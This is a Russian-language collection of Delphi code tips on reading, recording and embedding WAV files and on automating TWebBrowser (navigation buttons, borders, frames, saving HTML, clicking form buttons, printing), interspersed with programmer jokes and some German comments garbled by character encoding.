WAVE_FORMAT_YAMAHA_ADPCM = $0020; { Yamaha ADPCM }
function GetWaveInformationFromFile(FileName: string; Info: pWaveInformation): bool;
implementation
type
TCommWaveFmtHeader = record
wFormatTag: Word; { Fixed, must be 1 }
nChannels: Word; { Mono=1, Stereo=2 }
nSamplesPerSec: Longint; { SampleRate in Hertz }
nAvgBytesPerSec: Longint;
nBlockAlign: Word;
nBitsPerSample: Word; { Resolution, e.g. 8 or 16 }
cbSize: Longint; { Size of extra information in the extended fmt Header }
end;
function GetWaveInformationFromFile(FileName: string; Info: pWaveInformation): bool;
var
hdmmio: HMMIO;
mmckinfoParent: TMMCKInfo;
mmckinfoSubchunk: TMMCKInfo;
Fmt: TCommWaveFmtHeader;
Samples: Longint;
begin
Result := False;
FillChar(Info^, SizeOf(TWaveInformation), #0); { Initialize first }
hdmmio := mmioOpen(PChar(FileName), nil, MMIO_READ);
if (hdmmio = 0) then
Exit;
{* Locate a 'RIFF' chunk with a 'WAVE' form type
* to make sure it's a WAVE file.
*}
mmckinfoParent.fccType := mmioStringToFOURCC('WAVE', MMIO_TOUPPER);
if (mmioDescend(hdmmio, PMMCKINFO(@mmckinfoParent), nil, MMIO_FINDRIFF) <> 0) then
Exit;
{* Now, find the format chunk (form type 'fmt '). It should be
* a subchunk of the 'RIFF' parent chunk.
*}
mmckinfoSubchunk.ckid := mmioStringToFOURCC('fmt ', 0);
if (mmioDescend(hdmmio, @mmckinfoSubchunk, @mmckinfoParent, MMIO_FINDCHUNK) <> 0) then
Exit;
// Read the format chunk.
if (mmioRead(hdmmio, PChar(@fmt), Longint(SizeOf(TCommWaveFmtHeader))) <>
Longint(SizeOf(TCommWaveFmtHeader))) then
Exit;
Info^.WaveFormat := fmt.wFormatTag;
Info^.Channels := fmt.nChannels;
Info^.SampleRate := fmt.nSamplesPerSec;
Info^.BitsPerSample := fmt.nBitsPerSample;
mmioAscend(hdmmio, @mmckinfoSubchunk, 0); // Ascend out of the format subchunk.
mmckinfoSubchunk.ckid := mmioStringToFOURCC('data', 0); // Find the data subchunk.
if (mmioDescend(hdmmio, @mmckinfoSubchunk, @mmckinfoParent, MMIO_FINDCHUNK) <> 0) then
Exit;
Info^.SamplesNumber := mmckinfoSubchunk.cksize; // Get the size of the data subchunk.
Samples := (Info^.SamplesNumber * 8 * Info^.Channels) div Info^.BitsPerSample;
Info^.Length := Samples / Info^.Samplerate;
mmioClose(hdmmio, 0); // We're done with the file, close it.
Info^.ValidWave := True;
Result := True;
end;
end.
|
Определить длину WAV файла.
type
EMyMCIException = class(Exception);
var
FDeviceID: Word;
MyError, dwFlags: Longint;
procedure TForm1.GetWaveLength;
var
WaveLen: DWORD;
begin
OpenMedia('C:\Hickory.wav');
SetMediaTimeFormat;
WaveLen := GetMediaStatus(MCI_STATUS_LENGTH);
CloseMedia;
Form1.label1.Caption := IntToStr(WaveLen) + 'mS';
end;
procedure TForm1.OpenMedia(FileName: string);
var
MyOpenParms: TMCI_Open_Parms;
begin
with MyOpenParms do
begin
dwCallback := Handle; // TForm1.Handle
lpstrDeviceType := PChar('WaveAudio');
lpstrElementName := PChar(FileName);
end; {with MyOpenParms}
dwFlags := MCI_WAIT or MCI_OPEN_ELEMENT or MCI_OPEN_TYPE;
MyError := mciSendCommand(0, MCI_OPEN, dwFlags, Longint(@MyOpenParms));
// one could use mciSendCommand(DevId, etc here to specify a particular
device
if MyError = 0 then
FDeviceID := MyOpenParms.wDeviceID
else
raise EMyMCIException.Create('Open Failed');
end;
procedure TForm1.SetMediaTimeFormat;
var
MySetParms: TMCI_Set_Parms;
begin
if FDeviceID <> 0 then
begin
dwFlags := MCI_WAIT or MCI_SET_TIME_FORMAT;
MySetParms.dwCallback := Handle; // TForm1.Handle
MySetParms.dwTimeFormat := MCI_FORMAT_MILLISECONDS;
MyError := mciSendCommand(FDeviceID, MCI_SET, dwFlags,
Longint(@MySetParms));
if MyError <> 0 then
raise EMyMCIException.Create('Status Failed');
end;
end;
function TForm1.GetMediaStatus(StatusItem: DWORD): DWORD;
var
MyStatusParms: TMCI_Status_Parms;
begin
if FDeviceID <> 0 then
begin
dwFlags := MCI_WAIT or MCI_STATUS_ITEM;
MyStatusParms.dwCallback := Handle; // TForm1.Handle
MyStatusParms.dwItem := StatusItem;
MyError := mciSendCommand(FDeviceID, MCI_STATUS, dwFlags,
Longint(@MyStatusParms));
if MyError = 0 then
Result := MyStatusParms.dwReturn
else
begin
raise EMyMCIException.Create('Status Failed');
end;
end;
end;
procedure TForm1.CloseMedia;
var
MyGenParms: TMCI_Generic_Parms;
begin
if FDeviceID <> 0 then
begin
dwFlags := 0;
MyGenParms.dwCallback := Handle; // TForm1.Handle
MyError := mciSendCommand(FDeviceID, MCI_CLOSE, dwFlags,
Longint(@MyGenParms));
if MyError = 0 then
FDeviceID := 0
else
begin
raise EMyMCIException.Create('Close Failed');
end;
end;
end;
|
WAV в EXE.
| Жизнь.exe? |
MyWave RCDATA LOADONCALL MyWave.wavbrcc32.exe MyWave.rc, получаешь MyWave.res.
В своей программе пишешь:
{$R MyWave.res}
|
Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?".
procedure RetrieveMyWave;
var
hResource: THandle;
pData: Pointer;
begin
hResource := LoadResource(hInstance, FindResource(hInstance, 'MyWave',
RT_RCDATA));
try
pData := LockResource(hResource);
if pData = nil then
raise Exception.Create('Cannot read MyWave');
// Здесь pData указывает на MyWave
// Теперь можно, например, проиграть его (Win32):
PlaySound('MyWave', 0, SND_MEMORY);
finally
FreeResource(hResource);
end;
end;
|
Пример чтения и сохранения wav-файлов.
Автор: Даниил Карапетян WEB сайт: http://program.dax.ruСразу оговорюсь, что рассматривать я буду только PCM формат - самый простой. Wav-файл состоит из заголовка и собственно информации. В заголовке находится информация о типе файла, частоте, каналах и т.д. Сама информация состоит из массива чисел по 8 или 16 бит. Если в файле 2 канала, то значения левого и правого каналов записываются поочередно. Для работы с заголовком удобнее всего использовать запись, расположение полей в которой будет повторять расположение информации в файле. Например, первая запись в wav-файле - это символы "RIFF". Соответственно, первое поле в записи должно быть массивом из четырех элементов типа char. Вторая запись - длина файла без 8 байт (без первых двух записей). Длина записана в четырех байтах целым числом. Поэтому взят тип longint. Так составляется эта запись. Когда нужно целое число длиной 2 байта - берется smallint. О создании wav-файлов и хранении самой информации я расскажу в следующем выпуске. Эта программа выводит в Memo длину wav-файла, количество каналов, частоту и количество бит на запись. Скачать необходимые для компиляции файлы проекта можно на http://program.dax.ru
type
TWaveHeader = record
idRiff: array[0..3] of char;
RiffLen: longint;
idWave: array[0..3] of char;
idFmt: array[0..3] of char;
InfoLen: longint;
WaveType: smallint;
Ch: smallint;
Freq: longint;
BytesPerSec: longint;
align: smallint;
Bits: smallint;
end;
TDataHeader = record
idData: array[0..3] of char;
DataLen: longint;
end;
// Процедура ?тения заголовка wav-файлов
procedure ReadWaveHeader(Stream: TStream;
var SampleCount, SamplesPerSec: integer;
var BitsPerSample, Channeles: smallint);
var
WaveHeader: TWaveHeader;
DataHeader: TDataHeader;
begin
Stream.Read(WaveHeader, sizeof(TWaveHeader));
with WaveHeader do
begin
if idRiff <> 'RIFF' then
raise EReadError.Create('Wrong idRIFF');
if idWave <> 'WAVE' then
raise EReadError.Create('Wrong idWAVE');
if idFmt <> 'fmt ' then
raise EReadError.Create('Wrong idFmt');
if WaveType <> 1 then
raise EReadError.Create('Unknown format');
Channeles := Ch;
SamplesPerSec := Freq;
BitsPerSample := Bits;
Stream.Seek(InfoLen - 16, soFromCurrent);
end;
Stream.Read(DataHeader, sizeof(TDataHeader));
if DataHeader.idData = 'fact' then
begin
Stream.Seek(4, soFromCurrent);
Stream.Read(DataHeader, sizeof(TDataHeader));
end;
with DataHeader do
begin
if idData <> 'data' then
raise EReadError.Create('Wrong idData');
SampleCount := DataLen div (Channeles * BitsPerSample div 8)
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
OpenDialog1.Filter := 'Wave files|*.wav';
end;
procedure TForm1.Button1Click(Sender: TObject);
var
F: TFileStream;
SampleCount, SamplesPerSec: integer;
BitsPerSample, Channeles: smallint;
begin
// Вызов OpenDialog1:
if not OpenDialog1.Execute then
Exit;
try
// Открытие файла:
F := TFileStream.Create(OpenDialog1.FileName, fmOpenRead);
// Чтение заголовка:
ReadWaveHeader(F, SampleCount, SamplesPerSec,
BitsPerSample, Channeles);
F.Free;
Memo1.Clear;
// Заполнение Memo информацией о файле:
Memo1.Lines.Add('SampleCount: ' + IntToStr(SampleCount));
Memo1.Lines.Add(Format('Length: %5.3f sec', [SampleCount / SamplesPerSec]));
Memo1.Lines.Add('Channeles: ' + IntToStr(Channeles));
Memo1.Lines.Add('Freq: ' + IntToStr(SamplesPerSec));
Memo1.Lines.Add('Bits: ' + IntToStr(BitsPerSample));
except
raise Exception.Create('Problems with file reading');
end;
end;
Запись WAV-файлов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses mmSystem;
{....}
procedure TForm1.Button1Click(Sender: TObject); // Record
begin
mciSendString('OPEN NEW TYPE WAVEAUDIO ALIAS mysound', nil, 0, Handle);
mciSendString('SET mysound TIME FORMAT MS ' + // set time
'BITSPERSAMPLE 8 ' + // 8 Bit
'CHANNELS 1 ' + // MONO
'SAMPLESPERSEC 8000 ' + // 8 KHz
'BYTESPERSEC 8000', // 8000 Bytes/s
nil, 0, Handle);
mciSendString('RECORD mysound', nil, 0, Handle)
end;
procedure TForm1.Button2Click(Sender: TObject); // Stop
begin
mciSendString('STOP mysound', nil, 0, Handle)
end;
procedure TForm1.Button3Click(Sender: TObject); // Save
var
verz: String;
begin
GetDir(0, verz);
mciSendString(PChar('SAVE mysound ' + verz + '/test.wav'), nil, 0, Handle);
mciSendString('CLOSE mysound', nil, 0, Handle)
end;
Включение wav-файла в exe и проигрывание этого wav-файла.
Автор: Осипов Евгений WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Включение wav-файла в exe и проигрывание этого wav-файла
Зависимости: Uses MMSystem
Автор: Осипов Евгений Анатольевич, ICQ:114205759, Бузулук
Copyright: Нашёл в интернете
Дата: 31 мая 2002 г.
***************************************************** }
// В файл MyWave.rc пишешь:
MyWave RCDATA LOADONCALL MyWave.wav
// Затем компилируешь
brcc32.exe MyWave.rc, получаешь MyWave.res.
// В своей программе пишешь:
{$R MyWave.res}
procedure RetrieveMyWave;
var
hResource: THandle;
pData: Pointer;
begin
hResource := LoadResource(hInstance, FindResource(hInstance, 'MyWave',
RT_RCDATA));
try
pData := LockResource(hResource);
if pData = nil then
raise Exception.Create('Cannot read MyWave');
// Здесь pData указывает на MyWave
// Теперь можно, например, проиграть его (Win32):
PlaySound(pData, 0, SND_MEMORY + SND_ASYNC + SND_NOSTOP);
//Для PlaySound используется модуль MMSystem}
//SND_ASYNC - при проигрывании не останавливать работу программы
//SND_NOSTOP - проиграть звук до конца
//SND_STOP - прекратить играть прежний звук и начать новый
finally
FreeResource(hResource);
end;
end;
Как добавить в исполняемый файл WAV-файл и затем проиграть этот звук.
| Как-то летели Холмс с Ватсоном на воздушном шаре. И заснули. Просыпаются над какой-то незнакомой местностью, видят - внизу какой-то мужик коров пасет. Снизились они и спрашивают мужика: - Скажите, сэр, где мы находимся? (долго думал)- На воздушном шаре. - Спасибо, сэр! - и поднялись вверх. Холмс задумчиво говорит: - Интересная местность, Ватсон! Программист пасет коров! - Но, Холмс, с чего вы взяли, что он программист? - Это элементарно! Во-первых, он долго думал над ответом. Во-вторых, его ответ был абсолютно точен. И самое главное - абсолютно бесполезен! |
// В файл MyWave.rc пишешь:
// MyWave RCDATA LOADONCALL MyWave.wav
// Затем компилируешь
// brcc32.exe MyWave.rc, получаешь MyWave.res.
// В своей программе пишешь:
// {$R MyWave.res}
// или используешь программу для работы с ресурсами
// ( н-р Borland Resource WorkShop) для получения res файла
procedure RetrieveMyWave;
var
hResource: THandle;
pData: Pointer;
begin
hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDATA));
try
pData := LockResource(hResource);
if pData = nil then
raise Exception.Create('Cannot read MyWave');
// Здесь pData указывает на MyWave
// Теперь можно, например, проиграть его (Win32):
PlaySound('MyWave', 0, SND_MEMORY);
finally
FreeResource(hResource);
end;
end;
|
Реализация кнопок Вперед, Назад и Отмена для TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
When hosting the TWebbrowser control, it may be desirable to implement
Forward/Back/Cancel buttons similar to those that Internet Explorer implements.
The WebBrowser control supports a CommandStateChange() event,
which is fired whenever the Forward/Back/Cancel button need to be enabled or disabled.
The CommandStateChange event is sent with two parameters: a constant indicating
the type of button (CSC_NAVIGATEFORWARD or CSC_NAVIGATEBACK or CSC_UPDATECOMMANDS),
and a Boolean flag indicating whether to enable or disable the button.
}
{
Beim TWebbrowser ist es vielleicht wьnsсhеnswегt, wenn es zиgеhцгigе Buttons
wie Vогwдгts/Rьскwдгts/Аbbrесhеn gibt (siehe z.B Internet Explorer).
Es gibt ein CommandStateChange() Ereignis, welches immer dann аиsgе1цst wird,
wenn entweder der Vогwдгts/Rьскwдгts/Аbbrесhеn aktiviert oder deaktiviert werden
muss. CommandStateChange() hat zwei Parameter: Eine Konstante
CSC_NAVIGATEFORWARD oder CSC_NAVIGATEBACK oder CSC_UPDATECOMMANDS, welche angibt,
welcher Button betroffen ist und ein Boolean Wert,
welcher den Status eines Button angibt (aktiviert oder deaktiviert)
}
// Navigate to a URL
// Zu einer URL navigieren
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('www.delphiworld.narod.ru');
end;
// Catch the events and set a button's Enabled state
// Die Ereignisse abfragen und den "Enabled" Status eines Buttons setzen
procedure TForm1.WebBrowser1CommandStateChange(Sender: TObject;
Command: Integer; Enable: WordBool);
begin
case Command of
CSC_NAVIGATEBACK: ButtonBack.Enabled := Enable;
CSC_NAVIGATEFORWARD: ButtonForward.Enabled := Enable;
CSC_UPDATECOMMANDS: ButtonCancel.Enabled := Enable;
end;
end;
procedure TForm1.ButtonBackClick(Sender: TObject);
begin
WebBrowser1.GoBack
end;
procedure TForm1.ButtonForwardClick(Sender: TObject);
begin
WebBrowser1.GoForward
end;
procedure TForm1.ButtonCancelClick(Sender: TObject);
begin
WebBrowser1.Stop;
end;
Как поменять цвет или стиль бордюра в TWebBrowser.
| IN ternet SEXplorer - русская поисковая программа для порносайтов. |
uses
MSHTML;
procedure WB_SetBorderColor(Sender: TObject; BorderColor: String);
{
BorderColor: Can be specified in HTML pages in two ways.
1) by using a color name (red, green, gold, firebrick, ...)
2) or by using numbers to denote an RGB color value. (#9400D3, #00CED1,...)
See: http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/
reference/properties/borderstyle.asp
}
var
Document : IHTMLDocument2;
Element : IHTMLElement;
begin
Document := TWebBrowser(Sender).Document as IHTMLDocument2;
if Assigned(Document) then
begin
Element := Document.Body;
if Element <> nil then
begin
Element.Style.BorderColor := BorderColor;
end;
end;
end;
procedure WB_SetBorderStyle(Sender: TObject; BorderStyle: String);
{
BorderStyle values:
'none' No border is drawn
'dotted' Border is a dotted line. (as of IE 5.5)
'dashed' Border is a dashed line. (as of IE 5.5)
'solid' Border is a solid line.
'double' Border is a double line
'groove' 3-D groove is drawn
'ridge' 3-D ridge is drawn
'inset' 3-D inset is drawn
'window-inset' Border is the same as inset, but is surrounded by an additional single line
'outset' 3-D outset is drawn
See: http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/
reference/properties/borderstyle.asp
}
var
Document : IHTMLDocument2;
Element : IHTMLElement;
begin
Document := TWebBrowser(Sender).Document as IHTMLDocument2;
if Assigned(Document) then
begin
Element := Document.Body;
if Element <> nil then
begin
Element.Style.BorderStyle := BorderStyle;
end;
end;
end;
procedure WB_Set3DBorderStyle(Sender: TObject; bValue: Boolean);
{
bValue: True: Show a 3D border style
False: Show no border
}
var
Document : IHTMLDocument2;
Element : IHTMLElement;
StrBorderStyle: string;
begin
Document := TWebBrowser(Sender).Document as IHTMLDocument2;
if Assigned(Document) then
begin
Element := Document.Body;
if Element <> nil then
begin
case BValue of
False: StrBorderStyle := 'none';
True: StrBorderStyle := '';
end;
Element.Style.BorderStyle := StrBorderStyle;
end;
end;
end;
procedure TForm1.WebBrowser1NavigateComplete2(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
// Put this code in the OnDocumentComplete event as well
begin
// Examples:
// Show no border
WB_Set3DBorderStyle(Sender, False);
// Draw a double line border
WB_SetBorderStyle(Sender, 'double');
// Set a border color
WB_SetBorderColor(Sender, '#6495ED');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('www.SwissDelphiCenter.ch');
end;
|
Использовать событие OnDocumentComplete у TWebBrowser при наличии фреймов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
When loading a page based on different frames into webbrowser
control, "ONDocumentComplete" fires each time one of the frames
gets completed. How can I find out, when this last Point
is reached and get this final url?
}
{
Wenn eine Seite mit Frames in den Webbrowser geladen wird, wird
"OnDocumentComplete" jedesmal аиsgе1цst, wenn eine Frame fertig
geladen ist.
Ich ьеnцtigе bei aber ein Ereignis, nachdem alle
Frames geladen wurden. Aus der Hilfe geht hervor, dass dies mit dem Ereignis
OnDocumentComplete realisiert werden kann.
}
procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
CurWebrowser: IWebBrowser;
TopWebBrowser: IWebBrowser;
Document: OleVariant;
WindowName: string;
begin
CurWebrowser := pDisp as IWebBrowser;
TopWebBrowser := (Sender as TWebBrowser).DefaultInterface;
if CurWebrowser = TopWebBrowser then
ShowMessage('Complete document was loaded')
else
begin
Document := CurWebrowser.Document;
WindowName := Document.ParentWindow.Name;
ShowMessage(Format('Frame "%s" was loaded', [WindowName]));
end;
end;
Перевести TWebBrowser в режим редактирования.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
You can use the designMode property to put the Webbrowser
into a mode where you can edit the current document.
}
uses
MSHTML_TLB;
procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
CurrentWB: IWebBrowser;
begin
CurrentWB := pDisp as IWebBrowser;
(CurrentWB.Document as IHTMLDocument2).DesignMode := 'On';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
WebBrowser1.Navigate('http://wp.netscape.com/assist/net_sites/example1-F.html')
end;
Получить и сохранить HTML-код из TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
ActiveX;
function WB_SaveHTMLCode(WebBrowser: TWebBrowser; const FileName: TFileName): Boolean;
var
ps: IPersistStreamInit;
fs: TFileStream;
sa: IStream;
begin
ps := WebBrowser.Document as IPersistStreamInit;
fs := TFileStream.Create(FileName, fmCreate);
try
sa := TStreamAdapter.Create(fs, soReference) as IStream;
Result := Succeeded(ps.Save(sa, True));
finally
fs.Free;
end;
end;
function WB_GetHTMLCode(WebBrowser: TWebBrowser; ACode: TStrings): Boolean;
var
ps: IPersistStreamInit;
ss: TStringStream;
sa: IStream;
s: string;
begin
ps := WebBrowser.Document as IPersistStreamInit;
s := '';
ss := TStringStream.Create(s);
try
sa := TStreamAdapter.Create(ss, soReference) as IStream;
Result := Succeeded(ps.Save(sa, True));
if Result then ACode.Add(ss.Datastring);
finally
ss.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
WB_SaveHTMLCode(Webbrowser1, 'c:\test.txt');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
WB_GetHTMLCode(Webbrowser1, Memo1.Lines);
end;
Получить выделенные объекты из TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
begin
if Webbrowser1.OleObject.Document.Selection.type = 'Control' then
begin
if Webbrowser1.OleObject.Document.Selection.CreateRange.CommonParentElement.tagName =
'IMAGE' then
ShowMessage('An Image is selected');
end
else
begin
if Webbrowser1.OleObject.Document.Selection.createRange.Text = '' then
ShowMessage('Nothing is selected - ');
end;
end;
Спрятать скроллбары в TWebBrowser.
| Встречаются два программиста: - Говорят, ты женился! - Да, есть такое дело. - А как зовут? - (в задумчивости) Окс.. нет, Тат..., КОРОЧЕ ICQ# 98760138109 |
{A page must be loaded into TWebBrowser}
procedure TForm1.Button1Click(Sender: TObject);
begin
WebBrowser1.OleObject.Document.Body.Style.OverflowX := 'hidden';
WebBrowser1.OleObject.Document.Body.Style.OverflowY := 'hidden';
end;
|
Получить свойства всех картинок в TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MSHTML_TLB;
// First navigate to a page
// Zuerst eine Seite laden
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('www.google.ch');
end;
// Then execute the following code:
// Dann diese Routine аиsfьhгеn:
procedure TForm1.Button2Click(Sender: TObject);
var
i: Word;
ImageWidth, ImageHeight: Integer;
ImageHref, ImageFileSize, ImageTextAlternative: string;
Document: IHtmlDocument2;
begin
// Loop through all images of a TWebbrowser
// Schleife ььег alle Bilder im Webbrowser
for i := 0 to WebBrowser1.OleObject.Document.Images.Length - 1 do
begin
Document := WebBrowser1.Document as IHtmlDocument2;
// Retrieves the calculated width of the image.
ImageWidth := WebBrowser1.OleObject.Document.Images.Item(i).Width;
// Retrieves the height of the image.
ImageHeight := WebBrowser1.OleObject.Document.Images.Item(i).Height;
// Retrieves the file size of the image.
ImageFileSize := (Document.Images.Item(i, 0) as IHTMLImgElement).FileSize;
// Retrieves the entire URL that the browser uses to locate the image
ImageHref := (Document.Images.Item(i, 0) as IHTMLImgElement).Href;
// Retrieves a text alternative to the graphic.
ImageTextAlternative := (Document.Images.Item(i, 0) as IHTMLImgElement).alt;
// Show image information in a TListbox
ListBox1.Items.Add(Format('%s : %d x %d Pixels; %s Bytes; %s',
[ImageHref, ImageWidth, ImageHeight, ImageFileSize, ImageTextAlternative]));
end;
end;
Нажать кнопку Submit в TWebBrowser если она в виде картинки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
If you have a webpage with a Form on it, but the submit - button is an image,
you can use this code (using a TWebBrowser)
}
{
Falls du eine Webpage mit einem Formular hast,
bei welchem der Submit-Knopf ein Bild ist,
dann kannst du diesen Code benutzen (sowie ein TWebBrowser)
}
uses
MSHTML;
var
iDoc: IHtmlDocument2;
i: integer;
ov: OleVariant;
iDisp: IDispatch;
iColl: IHTMLElementCollection;
InputImage: HTMLInputImage;
begin
WebBrowser1.ControlInterface.Document.QueryInterface(IHtmlDocument2, iDoc);
if not Assigned(iDoc) then
begin
Exit;
end;
ov := 'INPUT';
iDisp := iDoc.all.tags(ov);
if Assigned(IDisp) then
begin
IDisp.QueryInterface(IHTMLElementCollection, iColl);
if Assigned(iColl) then
begin
for i := 1 to iColl.Get_length do
begin
iDisp := iColl.item(pred(i), 0);
iDisp.QueryInterface(HTMLInputImage, InputImage);
if Assigned(InputImage) then
begin
if InputImage.Name = 'submit' then
// if the name is submit / falls der name submit lautet
begin
InputImage.Click; // click it / klick es
end;
end;
end;
end;
end;
end;
// 2.
procedure TForm1.Button1Click(Sender: TObject);
var
i: Word;
Document: IHtmlDocument2;
str: string;
begin
// Schleife uber alle Bilder im Webbrowser
for i := 0 to WebBrowser1.OleObject.Document.Images.Length - 1 do
begin
Document := WebBrowser1.Document as IHtmlDocument2;
// URL auslesen
Str := (Document.Images.Item(i, 0) as IHTMLImgElement).Href;
// Dateiname des Bildes uberprufen
if Pos('submit_icon.gif', str) <> 0 then
begin
((Document.Images.Item(i, 0) as IHTMLImgElement) as IHTMLElement).Click;
end;
end;
end;
Получить информацию об элементе управления TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.infoClick(Sender: TObject);
begin
// Shows the URL of the current page displayed
// Gibt die aktuell geladene URL des Webbrowsers aus
ShowMessage('URL: ' + TWebbrowser.OleObject.Document.Url);
// Shows the Title of the current page displayed
// Gibt den Titel der Seite, die im Webbrowser ist aus
ShowMessage('Page Titel: ' + TWebbrowser.OleObject.Document.title);
// Shows the Height, Width of the current page displayed
// zeigt an wie hoch, breit die Seite im TWebbrowser ist.
ShowMessage('ScrollHeight: ' + IntToStr(TWebbrowser.OleObject.Document.Body.ScrollHeight));
ShowMessage('ScrollWidth: ' + IntToStr(TWebbrowser.OleObject.Document.Body.ScrollWidth));
// amount that the document has been scrolled down
// Um wieviel das Dokumkent nach Unten gescrollt wurde
ShowMessage('ScrollTop: ' + IntToStr(TWebbrowser.OleObject.Document.Body.ScrollTop));
ShowMessage('ScrollLeft: ' + IntToStr(TWebbrowser.OleObject.Document.Body.ScrollLeft));
// Shows the physical height, width of the browser screen
// Zeigt die Hohe, Breite des Anzeigebereichs
ShowMessage('ClientHeight: ' + IntToStr(TWebbrowser.OleObject.Document.Body.ClientHeight));
ShowMessage('ClientWidth: ' + IntToStr(TWebbrowser.OleObject.Document.Body.ClientWidth));
// Show the document referrer
// Referer von Twebbrowser anzeigen.
ShowMessage('Referer: ' + TWebbrowser.OleObject.Document.referrer);
end;
Проверить активность команды Copy в TWebBrowser.
procedure TForm1.ButtonIsCopyEnabledClick(Sender: TObject);
begin
if Webbrowser1.OleObject.Document.queryCommandEnabled('Copy') then
ShowMessage('Copy is active/ Copy ist aktiv');
end;
|
Проверить страницу в TWebBrowser на локальность.
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('file:///c:/test.txt');
end;
procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
begin
if Webbrowser1.Oleobject.Document.Location.Protocol = 'file:' then
begin
label1.Caption := 'The file is on a local drive!'
// label1.Caption := 'Das File befindet sich auf einer lokalen Harddisk!'
end;
end;
|
Создать TWebBrowser во время выполнения программы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
wb: TWebBrowser;
begin
wb := TWebBrowser.Create(Form1);
TWinControl(wb).Name := 'MyWebBrowser';
TWinControl(wb).Parent := Form1;
wb.Align := alClient;
// TWinControl(wb).Parent := TabSheet1; ( To put it on a TabSheet )
wb.Navigate('http://www.swissdelphicenter.ch');
end;
Нажать определенную кнопку на форме в TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// If there is only one button, you can do something like:
WebBrowser1.OleObject.Document.forms.item(0).elements.item(0).click;
// This will do a click on the first element of the first <FORM>, where an
// element is either <INPUT>, <SELECT> or <TEXTAREA>.
// If there is more than one button, you can do something like:
procedure TForm1.Button1Click(Sender: TObject);
var
ovElements: OleVariant;
i: Integer;
begin
ovElements := WebBrowser1.OleObject.Document.forms.item(0).elements;
for i := 0 to (ovElements.Length - 1) do
if (ovElements.item(i).tagName = 'INPUT') and
(ovElements.item(i).type = 'SUBMIT') and
(ovElements.item(i).Value = 'Recent Charges') then
ovElements.item(i).Click;
end;
Открытие локальных файлов в TWebBrowser и прямое открытие ссылок.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This example shows how to open local files in a TWebbrowser
and start links directly without showing a Dialog.
}
{
Dieses Beispiel zeigt, wie man lokale Dateien in einem TWebbrowser
цffnеn kann und wie man lokale Links direct аиsfьhгеn kann ohne
dass ein Dialog erscheint.
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, OleCtrls, SHDocVw;
type
TForm1 = class(TForm)
WebBrowser1: TWebBrowser;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure WebBrowser1BeforeNavigate2(Sender: TObject;
const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
Headers: OleVariant; var Cancel: WordBool);
private
FIsStartPage: Boolean;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses
ShellApi;
// Open a local page:
procedure TForm1.Button1Click(Sender: TObject);
const
LOCAL_PAGE ='C:/StartPage.htm'
begin
FIsStartPage := True;
Webbrowser1.Navigate('file:///' + LOCAL_PAGE);
FIsStartPage := False;
end;
procedure TForm1.WebBrowser1BeforeNavigate2(Sender: TObject;
const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
Headers: OleVariant; var Cancel: WordBool);
var
newURL: string;
begin
newURL := URL;
// For local links, don't show a dialog but open the file directly
if (not FIsStartPage) and FileExists(newURL) then
begin
Cancel := True;
ShellExecute(Application.Handle, 'open', PChar(newURL), nil, nil, SW_NORMAL);
end;
end;
Реализация установки страницы и печати для TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
TWebBrowser can use native IE API to print and do other things.
Implement on a Form a TWebBrowser component, and a button to print.
The code attached to this button is as follow :
}
//--------------------------------------------
procedure TForm.OnClickPrint(Sender: TObject);
begin
WebBrowser.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER);
end;
//--------------------------------------------
You can replace "OLECMDID_PRINT" by other possibilities :
OLECMDID_OPEN OLECMDID_NEW OLECMDID_SAVE
OLECMDID_SAVEAS OLECMDID_SAVECOPYAS OLECMDID_PRINT
OLECMDID_PRINTPREVIEW OLECMDID_PAGESETUP OLECMDID_SPELL
OLECMDID_PROPERTIES OLECMDID_CUT OLECMDID_COPY
OLECMDID_PASTE OLECMDID_PASTESPECIAL OLECMDID_UNDO
OLECMDID_REDO OLECMDID_SELECTALL OLECMDID_CLEARSELECTION
OLECMDID_ZOOM OLECMDID_GETZOOMRANGE OLECMDID_UPDATECOMMANDS
